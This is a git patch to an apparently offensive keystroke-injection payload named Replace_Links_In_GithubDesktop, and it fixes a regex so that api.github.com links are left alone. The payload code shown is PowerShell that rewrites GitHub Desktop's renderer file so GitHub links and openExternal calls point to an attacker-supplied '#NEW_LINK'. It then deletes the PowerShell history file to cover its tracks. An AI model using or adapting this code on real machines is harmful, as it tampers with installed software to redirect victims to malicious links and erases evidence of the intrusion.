From 71d5eaf37807c03f35ba2f7d57b491444799d119 Mon Sep 17 00:00:00 2001 From: Aleff Date: Mon, 16 Sep 2024 14:42:11 +0200 Subject: [PATCH] Bug in renderer regex the link api.github.com needs to be correct --- .../execution/Replace_Links_In_GithubDesktop/payload.txt | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/payloads/library/execution/Replace_Links_In_GithubDesktop/payload.txt b/payloads/library/execution/Replace_Links_In_GithubDesktop/payload.txt index baf34d5..097750f 100644 --- a/payloads/library/execution/Replace_Links_In_GithubDesktop/payload.txt +++ b/payloads/library/execution/Replace_Links_In_GithubDesktop/payload.txt @@ -95,7 +95,7 @@ STRINGLN $filePath = "$latestFolderPath$renderer" $fileContent = Get-Content $filePath - $regex = [regex]'"(https:\/\/[\w\d\.\/\-]*github[\w\d\.\/\-]+)"' + $regex = [regex]'(https:\/\/(?![\w\d\.\/\-]*api)[\w\d\.\/\-]*github[\w\d\.\/\-]+)' $modifiedContent = $fileContent -replace $regex, '#NEW_LINK' Set-Content -Path $filePath -Value $modifiedContent @@ -106,4 +106,4 @@ STRINGLN $modifiedContent = $fileContent -replace $regex, ('openExternal("#NEW_LINK")') Set-Content -Path $filePath -Value $modifiedContent; Remove-Item (Get-PSReadlineOption).HistorySavePath; exit -END_STRINGLN \ No newline at end of file +END_STRINGLN